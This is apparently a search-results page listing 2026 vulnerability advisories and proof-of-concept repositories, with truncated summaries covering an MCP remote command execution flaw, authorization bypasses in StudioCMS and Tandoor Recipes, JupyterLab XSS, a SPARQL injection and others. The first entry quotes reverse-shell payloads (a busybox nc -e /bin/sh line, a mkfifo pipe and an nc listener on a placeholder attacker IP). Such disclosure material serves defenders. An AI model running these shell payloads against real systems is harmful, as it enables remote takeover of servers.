76548 matches found
CVE-2026-23744-PoC
CVE-2026-23744-PoC MCP RCE 漏洞利用（Linux） 用于利用 /api/mcp/connect 实现远程命令执行的 PoC。 环境要求 pip install requests 使用方法 python3 exploit.py 示例： python3 exploit.py mcp.something.com 配置（在脚本中修改） attackerip = "YOURIP" port = 4444 监听器 nc -lvnp 4444 载荷 默认： busybox nc -e /bin/sh 备用： rm /tmp/f; mkfifo /tmp/f; cat /tmp...
CVE-2026-35045-PoC
CVE-2026-35045 — Tandoor Recipes 中的对象级授权失效漏洞 摘要 Tandoor Recipes v2.6.1 中的 PUT /api/recipe/batchupdate/ 端点允许 Space 内的任何已认证用户 修改该 Space 中的任意食谱——包括其他用户拥有的私有食谱。这完全绕过了所有标准单食谱端点上强制执行的对象级授权检查。 根本原因是 Django REST Framework 的一个行为缺陷 ：detail=False 列表操作永远不会调用 hasobjectpermission，只会调用 haspermission。查询集仅通过...
CVE-2026-31431
CVE-2026-31431 LPE PoC（Rust 实现） 本项目是一个用 Rust 实现的本地权限提升（LPE）漏洞（模拟 CVE-2026-31431）的概念验证（PoC）。它演示了如何通过利用 Crypto API 来操纵 Linux 内核页缓存。cite: 1, 2 !CAUTION 此代码仅用于教育和道德安全研究目的。未经事先明确同意，使用此工具攻击系统是非法的。作者对因使用本程序造成的任何误用或损害不承担任何责任。 概述 该工具利用与 AFALG（内核加密接口）和 splice 系统调用相关的漏洞。cite: 2 它允许非特权用户覆盖只读文件的页缓存中的 4...
CVE-2026-30945-PoC
🗑️ CVE-2026-30945 StudioCMS IDOR — 任意 API 令牌撤销导致拒绝服务 NVD • 安全公告 • CWE-639 概述 StudioCMS ≤ 0.3.0 中的 DELETE /studiocmsapi/dashboard/api-tokens 端点允许任何具有 editor 或更高级别权限的已认证用户撤销任何其他用户 （包括 admin 和 owner 账户）的 API 令牌。 该处理程序直接从请求负载中接受 tokenID 和 userID，而不验证令牌所有权、调用者身份或角色层级。这使得针对关键集成和自动化系统的定向拒绝服务 成为可能。 相关说明：...
CVE-2026-73976 djehuty: Unauthenticated SPARQL injection in the search API (`order`, `operator`, `key`)
djehuty is a research data repository system developed by 4TU.ResearchData. Prior to version 26.3.2, An unauthenticated attacker can inject SPARQL into the search/listing queries through three separate parameters. Because the affected queries are read SELECT queries, this does not write to the...
CVE-2026-73976 djehuty: Unauthenticated SPARQL injection in the search API (`order`, `operator`, `key`)
djehuty is a research data repository system developed by 4TU.ResearchData. Prior to version 26.3.2, An unauthenticated attacker can inject SPARQL into the search/listing queries through three separate parameters. Because the affected queries are read SELECT queries, this does not write to the...
CVE-2026-4484
CVE-2026-4484 Masteriyo LMS = 2.1.6 - 缺失授权导致已认证（学生+）权限提升至管理员 🔴 漏洞概述 CVE-2026-4484 — 已认证权限提升（学生 → 管理员） 字段| 详情 ---|--- CVE ID| CVE-2026-4484 严重性| 高危 — CVSS v3.1 评分：8.8 攻击向量| CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CNA| Wordfence 受影响软件| WordPress 的 Masteriyo LMS 插件 受影响版本| 直至并包含 2.1.6 的所有版本 漏洞类型...
JupyterLab: Cross-site scripting (XSS) in JupyterLab via notebook cells pasted from the system clipboard
DescriptionJupyterLab 4.5.0 enabled copying and pasing cells through the system clipboard. The paste path parses clipboard text as cell JSON and inserts the cells without clearing metadata.trusted, so a payload can declare its own output as trusted. JupyterLab does not sanitize a trusted output a...
JupyterLab: Cross-site scripting (XSS) in JupyterLab via notebook cells pasted from the system clipboard
DescriptionJupyterLab 4.5.0 enabled copying and pasing cells through the system clipboard. The paste path parses clipboard text as cell JSON and inserts the cells without clearing metadata.trusted, so a payload can declare its own output as trusted. JupyterLab does not sanitize a trusted output a...
JupyterLab: Cross-site scripting (XSS) in JupyterLab via notebook cells pasted from the system clipboard
DescriptionJupyterLab 4.5.0 enabled copying and pasing cells through the system clipboard. The paste path parses clipboard text as cell JSON and inserts the cells without clearing metadata.trusted, so a payload can declare its own output as trusted. JupyterLab does not sanitize a trusted output a...
JupyterLab: Cross-site scripting (XSS) in JupyterLab via crafted language package (jupyterlab.json)
DescriptionA language pack ships a Plural-Forms header saying how the language counts, for example nplurals=2; plural=n != 1;. JupyterLab turns that string into a function with new Function, so the header gets executed. The check that meant to keep it safe was a regular expression. The regex was...
JupyterLab: Cross-site scripting (XSS) in JupyterLab via notebook cells pasted from the system clipboard
DescriptionJupyterLab 4.5.0 enabled copying and pasing cells through the system clipboard. The paste path parses clipboard text as cell JSON and inserts the cells without clearing metadata.trusted, so a payload can declare its own output as trusted. JupyterLab does not sanitize a trusted output a...
pypdf: Possible long runtimes with large amount of embedded files
ImpactAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing the embedded files through the dictionary-based API. PatchesThis has been fixed in pypdf==6.19.0. WorkaroundsIf you cannot upgrade yet, consider applying the changes from PR 4081...
PYSEC-2026-4159 pypdf: Possible long runtimes with large amount of embedded files
Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing the embedded files through the dictionary-based API. Patches This has been fixed in pypdf==6.19.0. Workarounds If you cannot upgrade yet, consider applying the changes from PR 4081...
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
SummaryThe AetherBrowser API server scripts/aetherbrowser/apiserver.py exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the emailreader.py subprocess, which connects to configured ProtonMail or Gmail...
lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses
SummaryThe LightRAG API server passes raw Python exception messages directly into HTTPerror responses across 30+ error handlers in every router. When combined withthe default unauthenticated configuration see companion report on CWE-306, anynetwork-reachable client can trigger exceptions whose ra...
Nautobot: Authorization bypass in approval workflow REST API allows self-approval and unauthorized activation of scheduled jobs
ImpactThis is an authorization bypass that escalates into unauthorized server-side job execution.1. Primary impact - self-approval: The approver checks approver-group membership, change permission on the object under review, one-response-per-user are enforced only in the approve/deny actions on...
wlc may disclose API tokens to project-configured URLs
Impactwlc could send an unscoped API token to an unintended server when run inside a directory tree containing attacker-controlled project configuration.If .weblate, .weblate.ini, or weblate.ini defines an API url, and the user supplies a token with WLCKEY or --key without also pinning the URL, w...
LiteLLM: PROXY_ADMIN database API Key Generator Has Insufficient Session Expiration
A security flaw has been discovered in BerriAI litellm up to 1.82.2. This impacts the function authenticateuser of the file litellm/proxy/auth/loginutils.py of the component PROXYADMIN database API Key Generator. Performing a manipulation results in session expiration. The attack may be initiated...
CVE-2026-30944-PoC
🔓 CVE-2026-30944 StudioCMS 通过不安全的 API 令牌生成实现权限提升 NVD • 安全公告 • CWE-639 概述 StudioCMS ≤ 0.3.0 中的 POST /studiocmsapi/dashboard/api-tokens 端点允许任何已认证用户（至少为 Editor 角色）为任何其他用户 （包括 owner 和 admin 账户）生成 API 令牌。 该端点接受请求体中的 user 参数来指定目标用户 UUID，但从不验证 请求用户是否有权代表该目标用户创建令牌。这是一个典型的对象级授权失效（BOLA）漏洞，可导致完全权限提升。 攻击流程...